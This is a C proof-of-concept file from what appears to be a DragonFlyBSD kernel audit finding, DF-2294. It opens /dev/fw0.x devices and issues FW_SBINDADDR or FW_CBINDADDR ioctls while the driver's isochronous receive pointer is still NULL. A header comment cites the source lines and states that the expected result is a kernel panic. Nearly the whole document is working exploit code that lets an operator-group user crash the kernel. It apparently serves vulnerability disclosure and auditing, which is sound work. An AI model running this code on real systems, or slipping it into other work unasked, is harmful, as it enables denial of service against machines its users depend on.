⬢ DragonFlyBSD Kernel Audit
DF-2294 / poc_2294.c
← back to finding ↓ download raw
/*
 * DF-2294 PoC -- FW_SBINDADDR / FW_CBINDADDR dereference d->ir while NULL.
 *
 * fw_ioctl (fwdev.c:410) takes ir = d->ir (fwdev.c:443) which stays NULL
 * until a successful FW_SRSTREAM.  FW_SBINDADDR then executes
 * `fwb->sub = ir->dmach;` (fwdev.c:617) -> load from NULL+16 -> panic.
 * FW_CBINDADDR executes STAILQ_REMOVE(&ir->binds, ...) (fwdev.c:600)
 * with ir == NULL -> load/store at NULL+offsetof(fw_xferq, binds).
 *
 * CBINDADDR can only reach the deref when fw_bindlookup() finds a match,
 * i.e. another fd already added a bind (which itself required a non-NULL
 * d->ir on that fd); so the cb mode uses two fds on the same device.
 *
 * Run as an operator-group user.  Expected: kernel panic, no ioctl return.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

struct fw_isochreq { unsigned char ch:6, tag:2; };
struct fw_bufspec { unsigned int nchunk; unsigned int npacket; unsigned int psize; };
struct fw_isobufreq { struct fw_bufspec tx, rx; };
struct fw_addr { unsigned long hi; unsigned long lo; };
struct fw_asybindreq { struct fw_addr start; unsigned long len; };

#define FW_SSTBUF	_IOWR('S', 86, struct fw_isobufreq)
#define FW_SRSTREAM	_IOWR('S', 88, struct fw_isochreq)
#define FW_SBINDADDR	_IOWR('S', 3, struct fw_asybindreq)
#define FW_CBINDADDR	_IOWR('S', 4, struct fw_asybindreq)

#define BIND_HI		0x1111UL
#define BIND_LO		0x22223333UL
#define BIND_LEN	0x1000UL

int
main(int argc, char **argv)
{
	struct fw_asybindreq b;
	struct fw_isobufreq ib;
	struct fw_isochreq ich;
	const char *mode = (argc > 1) ? argv[1] : "sbind";
	int fd, fd2, rc;

	memset(&b, 0, sizeof(b));
	b.start.hi = BIND_HI;
	b.start.lo = BIND_LO;
	b.len = BIND_LEN;

	if (strcmp(mode, "sbind") == 0) {
		/* single open + single ioctl */
		printf("DF-2294[sbind]: open + FW_SBINDADDR with d->ir==NULL\n");
		fd = open("/dev/fw0.0", O_RDWR);
		if (fd < 0) { perror("open"); return 1; }
		printf("DF-2294: fd=%d (uid=%d gid=%d), issuing FW_SBINDADDR\n",
		    fd, getuid(), getgid());
		rc = ioctl(fd, FW_SBINDADDR, &b);
		printf("DF-2294: ioctl rc=%d errno=%d -- NO PANIC\n", rc, errno);
		return 2;
	}

	/* cbind mode: fd1 does a legal setup so a real bind exists in
	 * fc->binds; fd2 (d->ir == NULL) then issues FW_CBINDADDR and
	 * fwdev.c:600 touches &ir->binds == NULL+offsetof. */
	printf("DF-2294[cbind]: fd1 setup (SSTBUF+SRSTREAM+SBINDADDR), "
	    "fd2 FW_CBINDADDR with d->ir==NULL\n");
	fd = open("/dev/fw0.0", O_RDWR);
	if (fd < 0) { perror("open fd1"); return 1; }
	memset(&ib, 0, sizeof(ib));
	ib.rx.nchunk = 4; ib.rx.npacket = 8; ib.rx.psize = 512;
	if ((rc = ioctl(fd, FW_SSTBUF, &ib)) != 0) {
		perror("fd1 FW_SSTBUF"); return 1;
	}
	memset(&ich, 0, sizeof(ich));
	ich.ch = 1;
	if ((rc = ioctl(fd, FW_SRSTREAM, &ich)) != 0) {
		perror("fd1 FW_SRSTREAM"); return 1;
	}
	printf("DF-2294: fd1=%d stream up, adding bind hi=%#lx lo=%#lx\n",
	    fd, BIND_HI, BIND_LO);
	if ((rc = ioctl(fd, FW_SBINDADDR, &b)) != 0) {
		perror("fd1 FW_SBINDADDR"); return 1;
	}
	printf("DF-2294: bind registered via real fw_bindadd\n");

	fd2 = open("/dev/fw0.1", O_RDWR);
	if (fd2 < 0) { perror("open fd2"); return 1; }
	printf("DF-2294: fd2=%d (fresh open, d->ir==NULL), issuing "
	    "FW_CBINDADDR\n", fd2);
	rc = ioctl(fd2, FW_CBINDADDR, &b);
	printf("DF-2294: fd2 ioctl rc=%d errno=%d -- NO PANIC\n", rc, errno);
	return 2;
}